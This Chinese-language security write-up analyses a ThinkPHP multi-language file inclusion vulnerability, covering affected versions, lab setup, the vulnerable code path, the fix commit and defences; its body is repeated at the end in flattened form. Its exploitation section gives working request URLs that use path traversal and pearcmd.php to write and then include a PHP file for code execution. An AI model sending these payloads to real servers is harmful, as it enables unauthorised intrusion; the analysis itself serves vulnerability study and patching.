ThinkPHP 多语言 文件包含漏洞
字数 1059 2025-08-06 18:07:59

ThinkPHP 多语言文件包含漏洞分析与利用

0x00 漏洞概述

ThinkPHP框架在开启多语言功能的情况下存在文件包含漏洞,攻击者可通过精心构造的请求包含任意PHP文件,配合pearcmd.php可实现远程代码执行。

漏洞影响版本

  • ThinkPHP5.x全版本(已修复)
  • ThinkPHP6.0.13及之前版本(6.0.14已修复)

0x01 环境搭建

  1. 使用composer创建ThinkPHP5.1.41环境:
composer create-project topthink/think=5.1.41 tp5.1.41
  1. 修改composer.json确保使用确切版本:
"topthink/framework": "5.1.41"

然后执行composer update

  1. 开启多语言功能(config/app.php):
'lang_switch_on' => true,

0x02 漏洞分析

漏洞触发路径

  1. 漏洞入口thinkphp/library/think/Lang.php中的detect()方法
  2. 关键问题:未对$langSet进行过滤,导致可控参数传递

调用链分析

访问 -> initialize() -> loadLangPack() -> $this->lang->load() -> include file

详细分析

  1. $langSet获取方式:

    • GET参数lang
    • COOKIE中的lang
    • $_SERVER['HTTP_ACCEPT_LANGUAGE'](有过滤)
  2. $this->allowLangList为空(默认情况)时,直接接受用户输入的$langSet

  3. 最终在load()方法中执行:

foreach ((array) $file as $name) {
    $filename = $this->parseLangFile($name);
    include $filename;
}
  1. 限制条件:
    • 只能包含.php后缀文件
    • 需要开启多语言功能

0x03 漏洞利用

利用条件

  1. 目标系统安装了pear库
  2. PHP配置中register_argc_argv开启(PHP官方docker环境默认满足)

利用步骤

  1. 通过pearcmd.php写入webshell:
http://target.com/index.php?+config-create+/&lang=../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/tmp/hello.php
  1. 包含写入的webshell:
http://target.com/index.php?lang=../../../../tmp/hello

实际效果

  1. /tmp目录下创建hello.php文件
  2. 文件内容包含PHP代码(序列化格式)
  3. 通过包含漏洞执行该文件

0x04 修复方案

官方修复commit:https://github.com/top-think/framework/commit/450450a1e38c5897c8d1cbd167068660632fdb27

修复方式:

  1. $langSet进行严格过滤
  2. 确保语言参数在允许的列表内

0x05 总结

漏洞特点

  • 需要开启多语言功能
  • 只能包含PHP文件
  • 实际利用依赖pear环境

利用限制

  • 生产环境pear库不常见
  • register_argc_argv通常关闭
  • 使该漏洞实际利用价值降低

防御建议

  1. 及时升级到修复版本
  2. 生产环境禁用不必要的PHP扩展
  3. 严格限制文件包含操作
ThinkPHP 多语言文件包含漏洞分析与利用 0x00 漏洞概述 ThinkPHP框架在开启多语言功能的情况下存在文件包含漏洞,攻击者可通过精心构造的请求包含任意PHP文件,配合pearcmd.php可实现远程代码执行。 漏洞影响版本 : ThinkPHP5.x全版本(已修复) ThinkPHP6.0.13及之前版本(6.0.14已修复) 0x01 环境搭建 使用composer创建ThinkPHP5.1.41环境: 修改 composer.json 确保使用确切版本: 然后执行 composer update 开启多语言功能( config/app.php ): 0x02 漏洞分析 漏洞触发路径 漏洞入口 : thinkphp/library/think/Lang.php 中的 detect() 方法 关键问题 :未对 $langSet 进行过滤,导致可控参数传递 调用链分析 详细分析 $langSet 获取方式: GET参数 lang COOKIE中的 lang $_SERVER['HTTP_ACCEPT_LANGUAGE'] (有过滤) 当 $this->allowLangList 为空(默认情况)时,直接接受用户输入的 $langSet 最终在 load() 方法中执行: 限制条件: 只能包含 .php 后缀文件 需要开启多语言功能 0x03 漏洞利用 利用条件 目标系统安装了pear库 PHP配置中 register_argc_argv 开启(PHP官方docker环境默认满足) 利用步骤 通过pearcmd.php写入webshell: 包含写入的webshell: 实际效果 在 /tmp 目录下创建 hello.php 文件 文件内容包含PHP代码(序列化格式) 通过包含漏洞执行该文件 0x04 修复方案 官方修复commit:https://github.com/top-think/framework/commit/450450a1e38c5897c8d1cbd167068660632fdb27 修复方式: 对 $langSet 进行严格过滤 确保语言参数在允许的列表内 0x05 总结 漏洞特点 : 需要开启多语言功能 只能包含PHP文件 实际利用依赖pear环境 利用限制 : 生产环境pear库不常见 register_argc_argv 通常关闭 使该漏洞实际利用价值降低 防御建议 : 及时升级到修复版本 生产环境禁用不必要的PHP扩展 严格限制文件包含操作